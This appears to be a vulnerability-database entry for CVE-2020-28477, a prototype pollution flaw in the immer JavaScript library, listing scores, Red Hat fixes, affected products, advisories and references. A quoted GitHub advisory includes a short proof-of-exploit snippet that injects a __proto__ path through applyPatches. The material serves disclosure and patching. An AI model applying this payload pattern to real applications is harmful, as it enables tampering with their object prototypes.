CVE-2020-28477
mediumpriority · track · 21EPSS 0.023 · 84 %ileDEEURUUSEPSS · scored 2026-10-27
This affects all versions of package immer.
remediations
Vendor fix, mitigation, or workaround guidance, as published by each source.
A vendor fix is available.
- Fixedovirt-web-ui-0:1.6.7-1.el8ev.noarch as a component of RHEL-8-RHEV-S-4.4 - Red Hat Virtualization Engine 4.4redhat_csaf
For details on how to apply this update, which includes the changes described in this advisory, refer to: https://access.redhat.com/articles/2974891
https://access.redhat.com/errata/RHSA-2021:1169 - Fixedovirt-web-ui-0:1.6.7-1.el8ev.src as a component of RHEL-8-RHEV-S-4.4 - Red Hat Virtualization Engine 4.4redhat_csaf
For details on how to apply this update, which includes the changes described in this advisory, refer to: https://access.redhat.com/articles/2974891
https://access.redhat.com/errata/RHSA-2021:1169
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 5–7.5
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (45)
Products and version ranges known to be affected.
- IBM Tivoli Network Manager IP Edition 4.2all versionscert_bundDEcpe:/a:ibm:tivoli_network_manager:ip_edition_4.2
advisories (3)
Vendor and ecosystem advisories describing this.
- RHSA-2021:1169Red Hat Security Advisory: RHV Manager (ovirt-engine) 4.4.z [ovirt-4.4.5] security, bug fix, enhancement2021-04-14csaf · redhat_csafUS
An update is now available for Red Hat Virtualization Engine 4.4. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.
- WID-SEC-W-2022-0808Red Hat Virtualization Engine: Mehrere SchwachstellenDeutsch2021-04-14csaf · cert_bundDE
Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in der Red Hat Virtualization Engine ausnutzen, um einen Cross-Site Scripting Angriff durchzuführen, beliebigen Code auszuführen, einen Denial of Service Zustand auszulösen und kryptographische Maßnahmen zu umgehen.
- GHSA-9qmh-276g-x5pjPrototype Pollution in immer2021-01-20ghsa · osvUS
## Overview Affected versions of immer are vulnerable to Prototype Pollution. ## Proof of exploit ```js const {applyPatches, enablePatches} = require("immer"); enablePatches(); let obj = {}; console.log("Before : " + obj.polluted); applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]); // applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]); console.log("After : " + obj.polluted); ``` ## Remediation Version 8.0.1 contains a [fix](https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5) for this vulnerability, updating is recommended.
also known as (4)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (13)
External citations — patches, advisories, analysis.
- https://github.com/immerjs/immer/blob/master/src/plugins/patches.ts%23L213cnnvd
- https://packetstormsecurity.com/files/162179/Red-Hat-Security-Advisory-2021-1169-01.htmlcnnvd
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1061986cnnvd
- https://snyk.io/vuln/SNYK-JS-IMMER-1019369cnnvd
- https://www.auscert.org.au/bulletins/ESB-2021.0977cnnvd
- https://www.auscert.org.au/bulletins/ESB-2021.1274cnnvd
- https://www.ibm.com/blogs/psirt/security-bulletin-ibm-app-connect-enterprise-certified-container-designer-authoring-components-may-be-vulnerable-to-a-denial-of-service-attack-cve-2020-28477/cnnvd
- https://github.com/immerjs/immer/blob/master/src/plugins/patches.ts%23L213enisa_euvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan